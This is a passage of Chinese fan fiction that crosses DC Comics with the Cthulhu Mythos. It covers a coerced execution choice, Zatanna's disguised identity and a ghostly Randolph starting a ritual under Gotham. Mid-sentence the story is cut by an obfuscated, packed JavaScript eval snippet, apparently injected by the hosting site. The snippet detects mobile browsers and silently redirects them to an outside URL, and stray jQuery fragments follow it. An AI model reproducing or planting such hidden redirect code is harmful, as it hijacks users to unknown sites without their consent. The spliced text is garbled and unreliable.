“哦,差点忘了补充另一个条件了。”
“我在哥谭布设了一个小小的□□,如果他活下来,我就会启动那个装置。”
那恶意的笑容和原装的可以说是毫无差别,经典二选一的难题在情感角度略微削弱了难度,但是与此同时增大了当量和道德选择的困难。
何况现在大部分义警都困在了这里,并且无法与外界联系,尽管现在直播应该还在进行,但当着幕后黑手的面进行单向沟通还是太超前了。
考虑到哥谭的现状,如果真的放任这个投票的正常进行,那比起拉票,还是收尸比较具有可行性。
“顺带提醒一下,亲爱的洛希,偷偷搞小动作的话,是会受到惩罚的哦。”
祂打了个响指,一个穿着斗篷的女人就凭空出现在面前。
他们都认得她,阿黛尔。
“你们算是老相识了吧,具体追溯到……更早,早在那里,你们就开始偷偷商讨该怎么对付我了,对吧?这可真让人伤心。”
“——娜坦扎。”
光听这一串字母的发音,或许这个名字并不值得惊奇。但如果考虑到某位魔术师最引以自豪的反语魔法,那么这个人的真实身份就呼之欲出了。
化名为阿黛尔的其实是扎坦娜的同位体,通过一些面容的修饰,来让她无法被正确认出……或许并不止于此。
考虑到刚刚才说过的“唯一性”原则,他们不得不猜测那个最坏的可能,也就是,这实际也是扎坦娜本身,虽然他们没法分析原理,但毕竟本来就有洛希这个特例,这个猜测也不算叛道离经。
她看上去并不紧张,即使是面对着打算干掉自己的曾经的上司。“小丑”摘下了她的兜帽,外貌掩饰也被去除,现在站在这里的,看上去就是那位黑发蓝瞳的魔法师。
“我记得,你已经追随了我这么久,为什么如此轻易地就背叛我了呢?”
“我曾给了你一切,亲爱的。”
祂离她近的过分,语气甜腻却带着浓烈的疏离感。
“那是自始至终都不属于我的一切。”
她看起来并不在乎自己现在的处境,平静地注视着她曾确确实实侍奉过的神明。
祂冷笑一声。
“叛徒,需要被处决。”他慢条斯理地说,“那么,谁来成为刽子手呢?”
祂同样拟态为绿色的眼睛注视着洛希,昭示着选择的余地本就不存在。
“这同样是一道选择题。我猜你远在纽约的家人会对此有话可说。”
“你可以拒绝祂。”
然后选择第三条路。
小丑总是刻意误导人们的想法,让他们坚信除了生存与毁灭之外没有第三种可能。
“不,他怎么可能有选择呢?”
银币在祂的手上折射着光彩,银色的闪光在另一双绿眼睛里闪过。
他缓缓举起枪,冷漠地看向他曾经的盟友,轻微地眨了眨眼。
而阿黛尔——现在应该被称为娜坦扎——也没有表露出意外。她只是注视着枪口,缓缓露出一个莫测的微笑,然后对他做口型。
开枪。
圣诞歌曲还在大街小巷响彻,比较近的那个音响有些故障,声音断断续续。
雪已经不下了,月光撒了下来,让整座城市有一种笼罩在雾气里错觉。
如果有人经过这里,一定会怀疑自己的眼睛:一个半透明的人影走在街上。
瘦削但体型特征明显的身形显示其为男性,面容则是完全笼罩在军绿色兜帽的阴影里。
他行走在积雪的街道上,没有发出一丝声音,也没有留下任何脚印。
暗处突然有几个影子暴起冲了上来。
追踪而来的现任罗宾挡在了他身前,少数没有进入那座塔的义警,现在负责处理哥谭的治安问题,就像过去的许多个夜晚一样。
但又不完全相同,毕竟不是每一个夜晚都会矗立着那样一座高塔的。
“你是谁,怎么招惹上这群家伙的?”
尽管存在疑虑,但罗宾还是很尽职尽责地冲上去,用他的长武士刀架住其中之一刺向幽灵的仪式匕首,然后借力把那匕首弹开,甚至黑袍人自己都不得不后退几步。
但他们依旧没有放弃冲上前。显然他们并不专精于战斗技巧,完全依靠蛮力和过分的恢复能力,找个现成的范例就是,削弱版的利爪。
从服饰来看,这些家伙毫无疑问是银十字基金会的人。
“我和祂不对付也不是一天两天了。”
大约是觉得没必要隐藏身份,他很自然地摘下兜帽,露出和大屏上举着枪的人一般无二的脸——那种温和得有些愚蠢的神情让罗宾立刻就分辨出了对方的身份,他们曾经见过一面。
剩下的全在档案里的文字描述。
疑点分门别类地以字母的组合排列在一行行资料里,几乎就明摆着说明自己的异常之处,但偏偏没有留下半点痕迹。
而他本人也对此毫不忌讳,简直在脑门上贴着:我有问题。
这种态度实在令人称奇,反而显得他没那么可疑了。
“祂是谁?”
“不重要,也最好别知道。”
“那你又要去做什么?”
“拯救世界。”
大言不惭。罗宾几乎要对此报以嗤笑,即使是父亲也不会把这种话挂在嘴边。但那份认真的神情反复强调着他并非在开玩笑,以至于“TT”的音节停留在喉咙口,最终还是没发出声来。
“你会辜负这份信任吗?”
罗宾问。
“当然不会。”
“那么,这里交给我,去做你要做的事情。”
没有实体的幽灵踏在此世的雪地上。他已经快忘了真实地走在路上是什么感觉了,梦不足以成为参考。
伦道夫感觉有点冷,可能只是雪折射的银光带来的错觉,毕竟现在的他感觉不到温度。但走到地下的入口的时候他还是对着手哈了一口气,搓了搓手。没有白气弥散出来,也没有影子。
他的生命本来就是虚假地延续的。
他只是个有着“伦道夫”的名字的碎片,由那个已主动离去的人的残余部分拼凑而成。
很难说他是否算是洛希创造的,尽管在名义上,他的确是第二人格没错。
但洛希身上有太多不属于他本身的碎片,那些很难说真的是他,因而“伦道夫”究竟算是谁也不得不列入探讨范围之中。
众多的“伦道夫”在垂死之时将他们得到的信息与执念通过梦境传递给其
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934280|172903||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他的自己,从而试图破除这个注定毁灭的命运。
当某个平行世界的“伦道夫”第一次接触到梦境的时候,他就会收到这些提醒。
这很难说是好是坏,因为在如此漫长岁月的积攒后,这庞大的信息流和执念本身足以冲垮任何一个意志不够坚定的人,让他或者她(存在女性版本的伦道夫)精神崩溃,或者成为这执念的傀儡。
洛希当然曾经见识过这些,否则奈亚没必要造那个迷宫。
走入地下后,光线就昏暗了很多,不过并不影响他的视野。原本潮湿的墙壁在这样寒冷的天气里也结起了冰晶,角落里悉悉索索着小型啮齿动物的爬动声。
早就完成的法阵离这里不算很远。他很快就找到了那个几乎完全由洛希设计的阵法。
法阵在设计上只起到一个引动的作用,他只需要念出对应的咒语,法阵就会汲取洛希的生命力作为代价,然后放大,再传导到其他的符文上,在神秘学意义上完成“概念删除”和“屏障加固”。
这需要同时配合“仪式”来完成,即巫术体系中的“相似律”。这部分伦道夫不担心,在完成法阵的实施后,奈亚拉托提普能投影过来的力量就被降低到了一个极低的水平,那些义警加上娜坦扎完全可以胜任。
但是洛希呢?
概念删除并不仅仅是删除“小丑”在马戏团之外的含义引申,也会删除洛希自己。
他的存在也是漏洞的一部分。
想到这里,伦道夫忍不住地叹气。
洛希并不天生属于神秘侧,由于他身上的相反特质,他甚至格外的不适合这个领域——以至于他入梦居然是在现实中找到的入口。
他本来的命运,大概会是追逐俗世的幸福,即使那是地球三那样扭曲的世界也一样。
直到他见证了那庞大的执念。
那个康斯坦丁大约是不希望看到他走上这条路的——地球三是相反的,所以这个康斯坦丁本质是一个不折不扣的烂好人,牺牲自己成全他人,甚至因此显得目光短浅。
为此,他临死前还留下过一封信,作为最后的劝诫:
“不要追根究底了。活下去,不择手段地野蛮地活下去。”
只不过单纯这样依旧没法动摇结果,他的命运被奈亚拉托提普干预太多了。
也就是说,他的存在就足以论证奈亚的存在——而避免他人认知到这个存在则是洛希一直以来竭力避免的。
而越多人知道奈亚,就越难驱逐祂。
所以,洛希计划的结局里没有自己,伦道夫自己的存在在最初就是为了补位而存在。
……他不喜欢这个结局。
“伦道夫”早就死了。死者不该复生,甚至是取代生者。
这个世界的伦道夫是主动选择牺牲的,至于做了什么,他和洛希都没有对应的记忆,只能猜想这个世界的轮回和那个牺牲有关。
尽管他不是那个原本的人,但类似的人格让他能勉强共情到对方选择离去时的想法。
伦道夫不会想再看到一个牺牲。
即使洛希永远不会原谅他自己。但是那又怎么样呢?
他站在那用血画下的法阵中间,在一个地方用沙子加了几笔。
然后他开始念诵咒语。